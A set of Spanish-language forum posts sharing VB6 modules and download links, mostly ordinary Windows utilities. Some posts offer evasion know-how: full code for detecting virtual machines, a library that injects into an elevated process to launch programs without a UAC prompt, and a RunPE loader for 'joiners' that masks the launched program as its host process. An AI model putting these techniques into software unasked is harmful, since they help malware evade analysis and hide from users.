Private Declare Function ShellExecuteEx Lib "shell32.dll" (SEI As SHELLEXECUTEINFO) As Long

Public Function ShellElevated( _
       ByVal sPath As String, _
       Optional ByVal sParameters As String, _
       Optional ByVal sDirectory As String, _
       Optional ByVal eWindowstyle As VbAppWinStyle = vbNormalFocus) As Long
       
    Dim tSHELLEXECUTEINFO As SHELLEXECUTEINFO

    With tSHELLEXECUTEINFO
        .cbSize = Len(tSHELLEXECUTEINFO)
        .lpVerb = "runas"
        .lpFile = sPath
        .lpParameters = sParameters
        .lpDirectory = sDirectory
        .nShow = eWindowstyle
        .hInstApp = App.hInstance
    End With
   
    ShellElevated = ShellExecuteEx(tSHELLEXECUTEINFO)
End Function

#37
Holi Holas =)

Aca les dejo algo que estaba haciendo por aburrimiento, es una libreria que se inyecta en un proceso y nos permite ejecutar una aplicacion, hasta aca nada formidable ni misterioso,  lo bueno de esto por ejemplo es que podemos seleccionar un proceso con privilegios de administrador en vista y desde ahi lanzar nuestra aplicacion la cual va a tener privilegios sin necesidad de  abrir el UAC en el caso de que este activo.

Aclaracion, la libreria hay que compilarla con un control de compilador y utiliza un type library incluido en la descarga

Si preguntan por el nombre.... ni idea fue lo primero que se me vino a la cabeza.

Descarga: http://www.uploadsourcecode.com.ar/d/X4y6gqKj48GjERJimBu6ntjyfOp9QyiI
#38
Holi Holas =)

Bueno, aca les dejo un modulito para emular la existencia de archivos, no esta 100% listo pero el ejemplo es totalmente funcional.

Lo que hace basicamente es redireccionar las APIs utilizadas para leer archivos engañando a nuestro programa para que lea desde la memoria.

El ejemplo muestra como usar LoadPicture para cara cargar un archivo BMP encryptado, desencryptandolo on the fly en memoria.

Descarga: http://www.uploadsourcecode.com.ar/d/cYtS2QjvGRr0Kr8AxtuzEYFScMgV8xYV
#39
Bueno aca va mi humilde aporte, es una implemetacion del codigo de MadAntrax sin utilizar WMI, le agregue una funcion mas para detectar Sun VirtualBox.

Codigo original: http://foro.elhacker.net/programacion_vb/source_isvirtualpcpresent_sistema_antivirtualpc-t218845.0.html

Código (vb) [Seleccionar]

'---------------------------------------------------------------------------------------
' Module      : mVM_Detect
' DateTime    : 02/07/2008 20:46
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://cobein27.googlepages.com/vb6
' Purpose     : Detect Virtual Machines
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : http://foro.elhacker.net/programacion_vb/source_isvirtualpcpresent_sistema_antivirtualpc-t218845.0.html
'
' Credits     : This code is completely based on MadAntrax submission, I just implemented
'               a non WMI version.
'
' History     : 02/07/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Const INVALID_HANDLE_VALUE  As Long = (-1)
Private Const OPEN_EXISTING         As Long = 3
Private Const FILE_SHARE_READ       As Long = &H1
Private Const FILE_SHARE_WRITE      As Long = &H2

Private Const DIGCF_PRESENT         As Long = &H2
Private Const DIGCF_DEVICEINTERFACE As Long = &H10

Private Type STORAGE_DEVICE_NUMBER
    dwDeviceType                    As Long
    dwDeviceNumber                  As Long
    dwPartitionNumber               As Long
End Type

Private Type GUID
    Data1                           As Long
    Data2                           As Integer
    Data3                           As Integer
    Data4(0 To 7)                   As Byte
End Type

Private Type SP_DEVICE_INTERFACE_DATA
    cbSize                          As Long
    InterfaceClassGuid              As GUID
    flags                           As Long
    Reserved                        As Long
End Type

Private Type SP_DEVINFO_DATA
    cbSize                          As Long
    ClassGuid                       As GUID
    DevInst                         As Long
    Reserved                        As Long
End Type

Private Type SP_DEVICE_INTERFACE_DETAIL_DATA
    cbSize                          As Long
    strDevicePath                   As String * 260
End Type

Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function DeviceIoControl Lib "kernel32" (ByVal hDevice As Long, ByVal dwIoControlCode As Long, lpInBuffer As Any, ByVal nInBufferSize As Long, lpOutBuffer As Any, ByVal nOutBufferSize As Long, lpBytesReturned As Long, lpOverlapped As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function SetupDiGetClassDevs Lib "setupapi.dll" Alias "SetupDiGetClassDevsA" (ByVal ClassGuid As Long, ByVal Enumerator As Long, ByVal HwndParent As Long, ByVal flags As Long) As Long
Private Declare Function SetupDiEnumDeviceInterfaces Lib "setupapi.dll" (ByVal DeviceInfoSet As Long, ByVal DeviceInfoData As Long, ByRef InterfaceClassGuid As GUID, ByVal MemberIndex As Long, ByRef DeviceInterfaceData As SP_DEVICE_INTERFACE_DATA) As Long
Private Declare Function SetupDiGetDeviceInterfaceDetail Lib "setupapi.dll" Alias "SetupDiGetDeviceInterfaceDetailA" (ByVal DeviceInfoSet As Long, ByRef DeviceInterfaceData As SP_DEVICE_INTERFACE_DATA, DeviceInterfaceDetailData As Any, ByVal DeviceInterfaceDetailDataSize As Long, ByRef RequiredSize As Long, DeviceInfoData As Any) As Long
Private Declare Function SetupDiDestroyDeviceInfoList Lib "setupapi.dll" (ByVal DeviceInfoSet As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function QueryDosDevice Lib "kernel32" Alias "QueryDosDeviceA" (ByVal lpDeviceName As String, ByVal lpTargetPath As String, ByVal ucchMax As Long) As Long
Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long

Public Function IsVirtualPCPresent() As Boolean
    Dim lBitMask    As Long
    Dim i           As Long
    Dim sData       As String
   
    lBitMask = GetLogicalDrives
   
    For i = 0 To 25
        If (lBitMask Or 2 ^ i) = lBitMask Then
            sData = sData & UCase(GetPNPDeviceID(Chr$(65 + i)))
        End If
    Next

    Select Case True
        Case sData Like "*VIRTUAL*"
            IsVirtualPCPresent = True
        Case sData Like "*VBOX*"
            IsVirtualPCPresent = True
    End Select
   
End Function

Private Function GetPNPDeviceID(ByVal sDevice As String) As String
    Dim tGUID                               As GUID
    Dim hDevInfo                            As Long
    Dim tSP_DEVICE_INTERFACE_DATA           As SP_DEVICE_INTERFACE_DATA
    Dim tSP_DEVICE_INTERFACE_DETAIL_DATA    As SP_DEVICE_INTERFACE_DETAIL_DATA
    Dim tSP_DEVINFO_DATA                    As SP_DEVINFO_DATA
    Dim lDevNumb                            As Long
   
    lDevNumb = GetDeviceNumber("\\.\" & Left$(sDevice, 1) & ":")
    If lDevNumb = -1 Then Exit Function
   
    sDevice = Left$(sDevice, 1) & ":"
   
    With tGUID
        .Data2 = &HB6BF:        .Data3 = &H11D0&
        .Data4(0) = &H94&:      .Data4(1) = &HF2&
        .Data4(2) = &H0&:       .Data4(3) = &HA0&
        .Data4(4) = &HC9&:      .Data4(5) = &H1E&
        .Data4(6) = &HFB&:      .Data4(7) = &H8B&
       
        Select Case GetDriveType(sDevice)
            Case 2
                Dim sDosDev As String * 260
                Call QueryDosDevice(sDevice, sDosDev, 260)
                If InStr(sDosDev, "\Floppy") Then
                    .Data1 = &H53F56311
                Else
                    .Data1 = &H53F56307
                End If
            Case 3: .Data1 = &H53F56307
            Case 5: .Data1 = &H53F56308
        End Select
    End With
   
    hDevInfo = SetupDiGetClassDevs(VarPtr(tGUID), 0, 0, _
       DIGCF_PRESENT Or DIGCF_DEVICEINTERFACE)
    If hDevInfo = -1 Then Exit Function

    tSP_DEVICE_INTERFACE_DATA.cbSize = Len(tSP_DEVICE_INTERFACE_DATA)
   
    Dim lIndex  As Long
    Dim lSize   As Long
    Dim lReturn As Long
   
    Do
        If SetupDiEnumDeviceInterfaces(hDevInfo, 0, tGUID, _
           lIndex, tSP_DEVICE_INTERFACE_DATA) Then
           
            If SetupDiGetDeviceInterfaceDetail(hDevInfo, _
               tSP_DEVICE_INTERFACE_DATA, ByVal 0&, 0, lSize, ByVal 0&) = 0 Then
       
                If Not lSize = 0 Then
                    tSP_DEVICE_INTERFACE_DETAIL_DATA.cbSize = 5
                    tSP_DEVINFO_DATA.cbSize = Len(tSP_DEVINFO_DATA)
           
                    If SetupDiGetDeviceInterfaceDetail(hDevInfo, _
                       tSP_DEVICE_INTERFACE_DATA, tSP_DEVICE_INTERFACE_DETAIL_DATA, _
                       ByVal lSize, lReturn, tSP_DEVINFO_DATA) Then
                        If lDevNumb = _
                           GetDeviceNumber(tSP_DEVICE_INTERFACE_DETAIL_DATA.strDevicePath) Then
                            Call SetupDiDestroyDeviceInfoList(hDevInfo)
                            GetPNPDeviceID = Left$(tSP_DEVICE_INTERFACE_DETAIL_DATA.strDevicePath, _
                               lstrlen(tSP_DEVICE_INTERFACE_DETAIL_DATA.strDevicePath))
                            Exit Function
                        End If
                    End If
                End If
            End If
            lIndex = lIndex + 1
        Else
            Exit Function
        End If
    Loop
    Call SetupDiDestroyDeviceInfoList(hDevInfo)
   
End Function

Private Function GetDeviceNumber(ByVal sDrive As String) As Long
    Dim hVolume                 As Long
    Dim lRetBytes               As Long
    Dim tSTORAGE_DEVICE_NUMBER  As STORAGE_DEVICE_NUMBER
   
    hVolume = CreateFile(sDrive, 0, FILE_SHARE_READ Or FILE_SHARE_WRITE, _
       ByVal 0&, OPEN_EXISTING, 0, 0)
   
    GetDeviceNumber = -1
   
    If Not hVolume = INVALID_HANDLE_VALUE Then
        If DeviceIoControl(hVolume, &H2D1080, ByVal 0&, ByVal 0&, _
           tSTORAGE_DEVICE_NUMBER, Len(tSTORAGE_DEVICE_NUMBER), _
           lRetBytes, ByVal 0&) Then
            GetDeviceNumber = tSTORAGE_DEVICE_NUMBER.dwDeviceNumber
        End If
        Call CloseHandle(hVolume)
    End If
End Function


#40
Bueno aca les dejo un modulo para determinar si tenemos privilegios elevados o no, utiliza GetTokenInformation para leer el parametro de TokenElevation que esta disponible solamente en Vista, el resultado es el mismo de llamar a IsNTAdmin pero esta API no esta documentada por lo que podria dejar de funcionar o no estar disponible en cualquier momento.

La funcion va a intentar usar las funciones de vista y en el caso de que no sea posible va a recurir a IsNTAdmin como ultimo recurso.

Teateado en Xp SP2 y Vista con y sin UAC activado, la descarga incluye 3 ejemplos 1 sin manifest, otro requiriendo el maximo privilegio disponible y el ultimo que requiere permiso de administrador

Descarga:
http://www.uploadsourcecode.com.ar/d/kDnQ1x87coSmi4Z2pwOgYzqoEVE6GyxA
#41
Holas =), bueno nada nuevo, simplemente lo posteo para el que le interese y al que no bueno ya sabe puede ignorarlo categoricamente.

Que es? una clase para detectar el arrivo de nuevos dispositivos, en este caso se limita a los que tienen bus del tipo USB, la clase es un poco grande (unas 570 lineas) porque la idea es expandirla para soportar todos los tipos de mensajes procporcionados por el evento WM_DEVICECHANGE, es IDE safe y no tiene dependencias.

Testeada en:
  XP SP2

Con:
  -PNY Attache Flash Drive
  -Firefly External Hard Drive
  -Hagiwara UDRW  Flash Drive

Descarga:
  http://www.uploadsourcecode.com.ar/d/saSqPP36BmHgfw2LBNa4Z8tXIXypiDlF
#42
Programación Visual Basic / IDE or EXE
17 Junio 2008, 20:04 PM
Hola, bueno estaba por ahi mirando codigos y me tope con aguna de estas funciones asi que las junte con algunas que conocia y usaba. Me gustaria que presenten otras maneras o simplemente comenten acerca de estas funciones para ver cual creen que es mejor y por que.

En mi opinion la numero 1 (IsEXE1) es la mejor de todas.

Código (vb) [Seleccionar]

Option Explicit

Private Declare Function GetModuleHandle Lib "kernel32.dll" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

Private Sub Form_Load()
    MsgBox IsEXE0
    MsgBox IsEXE1
    MsgBox IsEXE2
    MsgBox IsEXE3
End Sub

Private Function IsEXE0() As Boolean
    On Error GoTo IDE
    Debug.Print 1 / 0
    IsEXE0 = True
IDE:
End Function

Private Function IsEXE1() As Boolean
   Static bEXE As Boolean
   
   If Not bEXE Then
      bEXE = True
      Debug.Assert IsEXE1() Or True
      IsEXE1 = bEXE
   End If
   bEXE = False
End Function

Private Function IsEXE2() As Boolean
    IsEXE2 = Not (App.EXEName = App.Title)
End Function

Private Function IsEXE3() As Boolean
    If GetModuleHandle("vba6") = 0 Then
        IsEXE3 = True
    End If
End Function

#43
Holas =) estaba medio aburrido y me puse  hacer esta mini aplicacion que sirve para calcular el checksum, hash, digest o como les guste llamarlo de un archivo.

La aplicaciones muy simple de usar, soporta 4 algoritmos diferentes MD2, MD4, MD5 y SHA-1, puede comparar checksums, soporta Drag and Drop y es totalmente portatil.

Espero que les guste! =)

Download (Source + App): http://www.uploadsourcecode.com.ar/d/RZrSG6y45iuxZLZgkeIk2E3NIT2VkMDL

Filesize: 495 KB

Screenshot:

#44
Bueno la verdad soy MUY malo explicando asi que voy a tratar de hacer lo mejor posible.

Hay una duda y/o problema recurrente, como enviar e interpretar instrucciones usando winsock, voy a intentar mostrar una tecnica muy simple de hacerlo utilizando CallByName a ver si terminan las preguntas y PMs con respecto a este tema.

En un Form
Código (vb) [Seleccionar]

Option Explicit

Private Const DELIMITER As String = "|" ' delimitador para separar instrucciones
   
Private Const inst_MSG  As String = "inst_MENSAJE"  'nombre de nustra instruccion
Private Const inst_BEEP As String = "inst_BEEP"     'nombre de otra instruccion

Private Sub Form_Load()

    'esto es simplemente para imitar el arrivo de datos
    TestDataArival inst_MSG & DELIMITER & "Hello"
    TestDataArival inst_BEEP
    TestDataArival inst_MSG & DELIMITER & "Bye Bye"
   
End Sub

'sData seria la variable con los datos que llegaron del socket
Private Sub TestDataArival(sData As String)
    Dim cInstInt    As New cInstructionInterpreter
   
    'Vemos si la funcion tiene o no parametros
    If UBound(Split(sData, DELIMITER)) > 0 Then
        'llamamos a la funcion con parametros
        CallByName cInstInt, Split(sData, DELIMITER)(0), VbMethod, sData
    Else
        'llamamos una funcion sin parametros
        CallByName cInstInt, Split(sData, DELIMITER)(0), VbMethod
    End If
End Sub


bueno en el primer code lo que vemos es muy simple tenemos 3 llamadas a TestDataArival pasandole unos parametros que en este caso serian nustras instrucciones  o comandos a ejecutar. la estructura del mensaje es simple [instruccion/delimitador/dato/.../delimitador/dato] en este caso los declare como constantes para  evitar errores y facilitar su modificacion (nada misterioso hasta aca)

en la funcion TestDataArival, lo primero que vemos es [ Dim cInstInt    As New cInstructionInterpreter] simplemente creamos una instancia de nuestra clase, luego un simple if que va a llamar a CallByName de 2 maneras diferentes dependiendo de si tenemos o no datos para pasarle a la instruccion

En una clase (yo la llame cInstructionInterpreter)
Código (vb) [Seleccionar]

Option Explicit

Private Const DELIMITER As String = "|"

Public Sub inst_MENSAJE(ByVal sData As String)
    Dim svData() As String
   
    If SplitData(sData, 1, svData) Then
        MsgBox svData(1)
    End If
   
End Sub

Public Sub inst_BEEP()
    Call Beep
End Sub

'funcion generica para dividir y validar los datos
Private Function SplitData( _
    ByVal sData As String, _
    ByVal lExpectedParams As Long, _
    ByRef svData() As String) As Boolean

    svData = Split(sData, DELIMITER)
   
    If UBound(svData) >= lExpectedParams Then
        SplitData = True
    End If
   
End Function


Bueno la clase en si tampoco tiene mucho, 2 funciones declaradas como publicas que son nustros comandos, los nombres de estas funciones tienen que coincidir con los que utilizamos para llamarlar  y una tercera que es privada simplemente para dividir y validar los datos.

bueno para los que no tienen idea de como usar CallByName aca les dejo unos links

http://msdn.microsoft.com/en-us/library/chsc1tx6(VS.80).aspx

http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/153-callbyname.htm

Si alguno quiere agregar algo para hacer esto mas claro que lo haga sin problemas se que puede ser un poco confusa mi explicacion.

Espero que sea util.
#45
Holas =), bueno viendo el post que dejo SERBice me diron ganas de entender bien como funcionaba el code etc, asi que decidi reescribirlo a mi gusto y agregarle unas cositas. Que es esto? un modulo para ejecutar un PE desde un byte array, calculo que puede ser util para un joiner o packager.

Que ventajas tiene, bueno la primera y principal que es poder correr un exe desde un byte array esto es bueno si se esta corriendo el programa desde un CD por ejemplo, otra cosa buena es que podemos "imitar" procesos, al usar un host para lanzar nuestra alpicacion esta va a aparecer como el host en la lista de procesos del administrador de tareas.

Bueno usen la imaginacion!

Descarga: http://www.uploadsourcecode.com.ar/d/hVAPGKNaFO2zRW9QmmDt9SEttwqKNHu8